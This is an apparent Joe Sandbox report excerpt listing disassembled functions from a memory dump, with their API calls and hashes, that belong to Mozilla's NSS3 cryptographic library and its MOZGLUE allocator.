Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 015ef539dd593c02d58a54bd8e6401087966d9ae9e944c36f4bae413ee09b6c5
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: A521D4B1A017425FE700CF25DA49B52B7E4BFA4308F25C225E81C87661E770E594C7D1

Function 6C7FEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C7E7FFA,?,6C7E9767,?,8B7874C0,0000A48E), ref: 6C7FEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C7E7FFA,?,6C7E9767,?,8B7874C0,0000A48E), ref: 6C7FEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C7E7FFA,?,6C7E9767,?,8B7874C0,0000A48E), ref: 6C7FEE14

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

memcpy.VCRUNTIME140(?,?,6C7E9767,00000000,00000000,6C7E7FFA,?,6C7E9767,?,8B7874C0,0000A48E), ref: 6C7FEE33

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 183d5cadef1aa9186cb96808c97cf489ac15f371bf7a947d443800ba532a22bc
Instruction ID: 85911fda0f079382e66a08440fb0e928e0e066368f5dbdd7bebeade5d6fdcab2
Opcode Fuzzy Hash: 183d5cadef1aa9186cb96808c97cf489ac15f371bf7a947d443800ba532a22bc
Instruction Fuzzy Hash: 0511A7B1A0470AABE7209E65EEC4B0673ACEB0035CF104535E92983F01E330F455C7E1

Function 6C798DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C798DE7
EnterCriticalSection.KERNEL32 ref: 6C798DFC
PR_Unlock.NSS3 ref: 6C798E2D
PR_SetError.NSS3 ref: 6C798E49

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 0ea4635a426461dd80599a52b0c45f02127b5c8736158c595e464fb7295fe0a5
Instruction ID: 2184b96a43ecadf109988b4e0ea2b6817e8c745853c7acea71149e495284b12d
Opcode Fuzzy Hash: 0ea4635a426461dd80599a52b0c45f02127b5c8736158c595e464fb7295fe0a5
Instruction Fuzzy Hash: 29118F75A056019BDB10AF78D548569BBF4FF05318F014939DC88D7B01E730E854CBC1

Function 6C81AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C805F17,?,?,?,?,?,?,?,?,6C80AAD4), ref: 6C81AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C805F17,?,?,?,?,?,?,?,?,6C80AAD4), ref: 6C81ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C80AAD4), ref: 6C81ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C80AAD4), ref: 6C81ACDB

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 7a6276d1943769a6bf820f5146f3cd9af62ba0c20566ec0ccfd3680b0f37be5e
Instruction ID: 3e329cfe52c9c7e8a2f47c36f8c86cb97562d39b7e9704fdf5637f450d2ef416
Opcode Fuzzy Hash: 7a6276d1943769a6bf820f5146f3cd9af62ba0c20566ec0ccfd3680b0f37be5e
Instruction Fuzzy Hash: 70015EB1601B029BEB60DF2ADA09793B7E8BF00699B114839D85AD3E00E735F159CBD1

Function 6C7DC590 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7DC5AD

Part of subcall function 6C7D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7787ED,00000800,6C76EF74,00000000), ref: 6C7D1000
Part of subcall function 6C7D0FF0: PR_NewLock.NSS3(?,00000800,6C76EF74,00000000), ref: 6C7D1016
Part of subcall function 6C7D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7787ED,00000008,?,00000800,6C76EF74,00000000), ref: 6C7D102B

CERT_DecodeCertPackage.NSS3(?,?,6C7DC610,?), ref: 6C7DC5C2

Part of subcall function 6C7DC0B0: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7DC0E6

CERT_NewTempCertificate.NSS3(?,00000000,00000000,00000001), ref: 6C7DC5E0
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7DC5EF

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Arena_Util$ArenaCertCertificateDecodeErrorFreeInitLockPackagePoolTempcalloc
String ID:
API String ID: 1454898856-0
Opcode ID: 6db365dd6faf401ed694e29fbdcf45925b8db468ac3d69679cf8de2994d68282
Instruction ID: 8455cf74703c6d21dd21ad058e7f4abe87fd6626d8103c026d3e45a3dac7e1b4
Opcode Fuzzy Hash: 6db365dd6faf401ed694e29fbdcf45925b8db468ac3d69679cf8de2994d68282
Instruction Fuzzy Hash: 40018FB1E001086BEB10AB64DD0AABF7B78DB00618F464079EC06AB241F662B918C6E1

Function 6C7D24E0 Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C7AC154,000000FF,00000000,00000000,00000000,00000000,?,?,6C7AC154,?), ref: 6C7D24FA
PORT_Alloc_Util.NSS3(00000000,?,6C7AC154,?), ref: 6C7D2509

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?), ref: 6C7D2525
free.MOZGLUE(00000000), ref: 6C7D2532

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValuefreemalloc
String ID:
API String ID: 929835568-0
Opcode ID: 3b61a2baa3e5284d15eba697227c860f17841623ad17df9b0572c0e261c3aad9
Instruction ID: 44a58f26e048beb3ddf07108b4d9f33095cb87f26fe67a438f316107f6fdfb30
Opcode Fuzzy Hash: 3b61a2baa3e5284d15eba697227c860f17841623ad17df9b0572c0e261c3aad9
Instruction Fuzzy Hash: BBF096B230A12177FA20267A5D0DE7739ACDB416F8F150231BD29C66C1D952DD02C1F1

Function 6C880660 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C887B1B,?,?,?,?,?,?,?,?,?,6C88798A), ref: 6C880670

Part of subcall function 6C839EA0: DeleteCriticalSection.KERNEL32(?), ref: 6C839EAA

free.MOZGLUE(?,00000000,00000000,?,?,6C887B1B,?,?,?,?,?,?,?,?,?,6C88798A), ref: 6C880696
free.MOZGLUE(00000004,6C887B1B,?,?,?,?,?,?,?,?,?,6C88798A), ref: 6C8806C7
free.MOZGLUE(?,00000000,00000000,?,?,6C887B1B,?,?,?,?,?,?,?,?,?,6C88798A), ref: 6C8806E9

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyLockSection
String ID:
API String ID: 1785261712-0
Opcode ID: e1b1568fd254296594f4cb65af67d398b255da5bd1c411e1ca9c5762cf2fa11f
Instruction ID: 30af357c20af134a2aa928f5ab72bc33ae50554645bec40db11f2c2967fb50ec
Opcode Fuzzy Hash: e1b1568fd254296594f4cb65af67d398b255da5bd1c411e1ca9c5762cf2fa11f
Instruction Fuzzy Hash: A31112F46022019BEF20CB99E989B06B7B8AB4626CF084135E40587A11D772FD85CBD9

Function 6C81AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6C805D40,00000000,?,?,6C7F6AC6,6C80639C), ref: 6C81AC2D

Part of subcall function 6C7BADC0: TlsGetValue.KERNEL32(?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE10
Part of subcall function 6C7BADC0: EnterCriticalSection.KERNEL32(?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE24
Part of subcall function 6C7BADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C79D079,00000000,00000001), ref: 6C7BAE5A
Part of subcall function 6C7BADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE6F
Part of subcall function 6C7BADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE7F
Part of subcall function 6C7BADC0: TlsGetValue.KERNEL32(?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAEB1
Part of subcall function 6C7BADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAEC9

PK11_FreeSymKey.NSS3(?,6C805D40,00000000,?,?,6C7F6AC6,6C80639C), ref: 6C81AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6C805D40,00000000,?,?,6C7F6AC6,6C80639C), ref: 6C81AC59
free.MOZGLUE(8CB6FF01,6C7F6AC6,6C80639C,?,?,?,?,?,?,?,?,?,6C805D40,00000000,?,6C80AAD4), ref: 6C81AC62

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 327db47b81629ce45ae49c546132406a671d97ca4662c3536b6cf665e6eb230b
Instruction ID: a604e2451f8c99ed1a36a1aa056ce3afacbcfd170d615538c2e4bbaa8f1aaf60
Opcode Fuzzy Hash: 327db47b81629ce45ae49c546132406a671d97ca4662c3536b6cf665e6eb230b
Instruction Fuzzy Hash: 80018FB56002019FDB10DF15EAC4B8677E8AF0471CF188468E8098FB06E731E848CBA1

Function 6C7EA710 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C81186B,?), ref: 6C7EA738

Part of subcall function 6C79CD80: free.MOZGLUE(?,6C79D079,00000000,00000001), ref: 6C79CDA5
Part of subcall function 6C79CD80: PK11_FreeSymKey.NSS3(?,6C79D079,00000000,00000001), ref: 6C79CDB6
Part of subcall function 6C79CD80: SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C79D079,00000000,00000001), ref: 6C79CDCF
Part of subcall function 6C79CD80: DeleteCriticalSection.KERNEL32(?,6C79D079,00000000,00000001), ref: 6C79CDE2
Part of subcall function 6C79CD80: free.MOZGLUE(?), ref: 6C79CDE9

PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C81186B,?), ref: 6C7EA757
PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C81186B,?), ref: 6C7EA776
PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C81186B,?), ref: 6C7EA795

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_$ContextDestroy$free$CriticalDeleteFreeItem_SectionUtilZfree
String ID:
API String ID: 3138553132-0
Opcode ID: 492b612786a5ec9ed6f512fb0ce52e46a673138c3700f546dfff5c578f687e19
Instruction ID: e7f2c1a9c438d6b910c0605777de0d4ca2503ca6ac47e993727b3855ac05456f
Opcode Fuzzy Hash: 492b612786a5ec9ed6f512fb0ce52e46a673138c3700f546dfff5c578f687e19
Instruction Fuzzy Hash: 60011EF1A107105BEB209A359E897C77BE86B04619F40482CE6ADDB681E775B0488BA4

Function 6C800450 Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(40C70845,?,6C804710,?,000F4240,00000000), ref: 6C80046B
GetLastError.KERNEL32(?,6C804710,?,000F4240,00000000), ref: 6C800479

Part of subcall function 6C81BF80: TlsGetValue.KERNEL32(00000000,?,6C80461B,-00000004), ref: 6C81C244

PR_Unlock.NSS3(40C70845,?,6C804710,?,000F4240,00000000), ref: 6C800492
PR_SetError.NSS3(FFFFE89D,00000000,?,6C804710,?,000F4240,00000000), ref: 6C8004A5

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error$LastMutexReleaseUnlockValue
String ID:
API String ID: 4014558462-0
Opcode ID: 49d70b86a07ae12c263c28387fb858737799f3cc88a495d7030ec462ad081001
Instruction ID: 3ef4971f15db80a071a0f882bb4f13c3791a3c8a587680a6200f82e20c7e021c
Opcode Fuzzy Hash: 49d70b86a07ae12c263c28387fb858737799f3cc88a495d7030ec462ad081001
Instruction Fuzzy Hash: F2F0B474B14A455BEB20AFB99E18B1B33E99B0120DF058C35E80AC7E51EB25E544C659

Function 6C7987E0 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C7987EA
PK11_DestroyTokenObject.NSS3(?,00000000), ref: 6C798809
CERT_DestroyCertificate.NSS3(00000000), ref: 6C798818
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C798821

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Destroy$K11_Private$CertCertificateFromObjectToken
String ID:
API String ID: 3228624125-0
Opcode ID: ac916d6c03ed572d4810efe894036a746260e874c6db0241746666bb94f464c0
Instruction ID: 6ac5f922eda4bf2150bfdf72d01136a8cbbbc41b416073ee1d0af6d8818a5153
Opcode Fuzzy Hash: ac916d6c03ed572d4810efe894036a746260e874c6db0241746666bb94f464c0
Instruction Fuzzy Hash: A0E055B7C1212827DA010922BD48E8A362C8B8427CF084231ED0A5A742F731DD0883F1

Function 6C88CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C88CC61
free.MOZGLUE ref: 6C88CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C88CC80
free.MOZGLUE(?), ref: 6C88CC87

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: e74f586d818228a5a950ab09dae3b6012bd41758db257951ea0c7a60814b9ff2
Instruction ID: 5447092ed3c93a3209bb6c0b411e3414a8654ba415925ba3e435b610ded7132f
Opcode Fuzzy Hash: e74f586d818228a5a950ab09dae3b6012bd41758db257951ea0c7a60814b9ff2
Instruction Fuzzy Hash: E8E065B6700608AFCA10EFA9DC48C8777BCEE492743150535E691C3701D232F905CBE1

Function 6C7C4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7C4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C7C4DE6

Strings

%d.%d, xrefs: 6C7C4DDE

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: db05111ebf49a84152b1063b0a2011c1f6bf54cd82b1e80287d603aa38f9c647
Instruction ID: af9c816e45c54f2c68671c2b210d1b6e01f10693eee91ce7df2e9a7122ec88ee
Opcode Fuzzy Hash: db05111ebf49a84152b1063b0a2011c1f6bf54cd82b1e80287d603aa38f9c647
Instruction Fuzzy Hash: C831ECB2E042196FEB606BA59D06BFF7768EF44308F050439ED155B741EB349909CBE2

Function 6C7E4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8~l,00000000,00000000,?,?,6C7E3827,?,00000000), ref: 6C7E4D0A

Part of subcall function 6C7D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C7E4D22

Part of subcall function 6C7CFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C771A3E,00000048,00000054), ref: 6C7CFD56

Strings

'8~l, xrefs: 6C7E4D07

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8~l
API String ID: 1521942269-3277948344
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 14b88311de2a8c24bd9814c1e7f1e0e155d9228babcf0038d57b265bbd2928f3
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: B5F09C3360113557DB108DEA9E4578736DC9B4967DF1502B1DE18CBB81E631DC04D6D1

Function 6C760F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C760936,FFFFE8AE,?,6C6F16B7,00000000,?,6C760936,00000000,?,6C6F204A), ref: 6C760F1B

Part of subcall function 6C761370: GetSystemInfo.KERNEL32(?,?,?,?,6C760936,?,6C760F20,6C760936,FFFFE8AE,?,6C6F16B7,00000000,?,6C760936,00000000), ref: 6C76138F

PR_NewLogModule.NSS3(clock,6C760936,FFFFE8AE,?,6C6F16B7,00000000,?,6C760936,00000000,?,6C6F204A), ref: 6C760F25

Part of subcall function 6C761110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C760936,00000001,00000040), ref: 6C761130
Part of subcall function 6C761110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C760936,00000001,00000040), ref: 6C761142
